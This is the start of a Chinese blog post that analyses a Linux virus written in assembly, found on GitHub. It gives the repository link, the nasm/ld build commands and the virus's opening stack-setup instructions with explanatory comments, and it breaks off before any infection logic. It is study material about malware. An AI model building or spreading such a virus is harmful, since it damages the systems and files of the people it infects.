用汇编编写病毒
用汇编编写一个病毒 在github上看到大神用汇编编写的linux病毒,学习一下 github地址: https://github.com/cranklin/cranky-data-virus/blob/master/cranky_data_virus.asm 源码分析: ;; nasm -f elf -F dwarf -g cranky_data_virus.asm ;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o section .text global v_start ;代码开始处 v_start: ; virus body start ; make space in the stack for some uninitialized variables to avoid a .bss section mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) ;不断向栈上push 0,用作全局未初始化变量空间,依次push是4个字节loop_bss: push 0x00 ; reserve